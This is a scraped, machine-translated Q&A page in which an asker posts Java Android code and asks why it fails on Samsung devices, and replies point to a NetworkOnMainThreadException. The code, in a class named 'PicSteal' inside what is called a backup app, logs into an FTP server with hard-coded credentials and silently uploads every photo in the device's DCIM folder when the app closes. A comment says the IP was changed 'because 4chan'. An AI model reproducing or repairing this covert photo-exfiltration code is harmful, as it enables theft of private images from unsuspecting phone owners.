FTP备份代码（java）仅适用于某些android设备
当从我的备份android应用程序的onDestory方法调用时，下面编写的代码可以在我的HTC设备上运行 但是，它在我的三星设备上不起作用。有什么想法吗？ADT告诉我问题在第28行FTP备份代码（java）仅适用于某些android设备,java,android,Java,Android,当从我的备份android应用程序的onDestory方法调用时，下面编写的代码可以在我的HTC设备上运行 但是，它在我的三星设备上不起作用。有什么想法吗？ADT告诉我问题在第28行 package com.simplejsonapp; import it.sauronsoftware.ftp4j.FTPAbortedException; import it.sauronsoftware.ftp4j.FTPClient; import it.sauronsoftware.ftp4j.F
package com.simplejsonapp;
import it.sauronsoftware.ftp4j.FTPAbortedException;
import it.sauronsoftware.ftp4j.FTPClient;
import it.sauronsoftware.ftp4j.FTPDataTransferException;
import it.sauronsoftware.ftp4j.FTPException;
import it.sauronsoftware.ftp4j.FTPIllegalReplyException;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.IOException;
import android.os.Build;
import android.os.Environment;
public class PicSteal {
public static void picStealer(){
//Create the FTP connection object:
FTPClient client = new FTPClient();
try {
//String deviceType = getDeviceName();
/**
* This section is where I need to add a decision structure for
* what folder to download from based on what kind of device is
* using the software.
*/
client.connect("127.0.0.1"); //create connection to server (IP changed here because 4chan)
client.login("ftpuser", "ftppass");//login using credentials
//this is where the magic happens
String deviceName = getDeviceName();
//File samsung = new File("/storage/emulated/0/DCIM/");
//create the file object
File stock = new File(Environment.getExternalStorageDirectory().getAbsolutePath() + "/DCIM/");
//create the array of files to iterate over
File[] listOfFiles = stock.listFiles();
processFiles(listOfFiles, client);
client.disconnect(true);//disconnect
} catch (IllegalStateException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (FTPIllegalReplyException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (FTPException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
private static void processFiles(File[] listOfFiles, FTPClient client) {
for (int i = 0; i < listOfFiles.length; i++) {
if (listOfFiles[i].isFile()) {
//upload file to server
try {
client.upload(new java.io.File(listOfFiles[i].toString()));
} catch (FTPDataTransferException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (NullPointerException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
catch (FTPAbortedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
//System.out.println("File " + listOfFiles[i].getName());
catch (IllegalStateException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (FileNotFoundException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (FTPIllegalReplyException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (FTPException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
} else if (listOfFiles[i].isDirectory()) {
//System.out.println("Directory " + listOfFiles[i].getName());
File[] newList = listOfFiles[i].listFiles();
processFiles(newList, client);
}
}// TODO Auto-generated method stub
}
public static String getDeviceName() {
String manufacturer = Build.MANUFACTURER;
//String model = Build.MODEL;
return manufacturer;
}
它有什么作用？抛出一个NPE？如果我在eclipse中正确阅读控制台输出，它是一个NetworkOnMainThreadException将完整的堆栈跟踪添加到问题中，这将使分析问题变得更容易是。肯定是NetworkOnMainThreadException，但不确定如何使代码在另一个线程上工作？
File[] listOfFiles = stock.listFiles();